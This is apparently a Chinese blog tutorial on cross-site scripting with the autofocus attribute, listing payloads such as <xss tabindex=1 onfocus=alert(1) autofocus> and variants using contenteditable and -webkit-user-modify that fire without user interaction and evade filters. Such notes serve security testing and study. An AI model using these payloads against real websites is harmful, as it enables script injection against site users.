autofocus属性的自创标签xss(xss)
这里使用的是Chrome的一个bug,具体自己查阅。简单来说就是在chrome中autofocus可以与所有HTML标签一起使用 1.使用已有标签 <iframe autofocus onfocus=alert(1)> <a autofocus onfocus=alert(23) href=#>x</a> 这里已有测试环境。(下面的也可以在这里自己测试) 这个
这里使用的是Chrome的一个bug,具体自己查阅。简单来说就是在chrome中autofocus可以与所有HTML标签一起使用
1.使用已有标签
<iframe autofocus onfocus=alert(1)>
<a autofocus onfocus=alert(23) href=#>x</a>
这里已有测试环境。(下面的也可以在这里自己测试)
这个我们是经常使用的,加上autofocus效果更加。对于无法在没有用户交互的情况下无法转义元素上下文并需要XSS的情况很有用。
2. 'tabindex'或'contenteditable'

原文指出因为任何HTML元素都可以通过'tabindex'或'contenteditable'进行聚焦,所以它也会支持'autofocus'。
1.对于tabindex:

在这里我们使用正值,可以构造:
<xss tabindex=1 onfocus=alert(1) autofocus>
2.对于contenteditable:
contenteditable 是一个枚举属性,表示元素是否可被用户编辑。 如果可以,浏览器会修改元素的部件以允许编辑。
虽然contenteditable后面没有值不符合要求,但是如果后面没有值默认会是空字符串,不会报错。

所以我们可以使用:
<xss onfocus=alert(23) autofocus contenteditable>
3.user-modify
<xss style="-webkit-user-modify:read-write" onfocus=alert(1) autofocus>
关于user-modify,自己参考。
user-modify不是标准形式,但是在chrome还是可以使用的。

所以我们也可以:
<xss style="-webkit-user-modify:read-write-plaintext-only" onfocus=alert(1) autofocus>
4.总结
上面主要是配合autofocus使用的,这样我们也可以绕过很多。
@1590307279601171 我就只知道可以试试编码,然后看看利用其他漏洞吧,我还没试过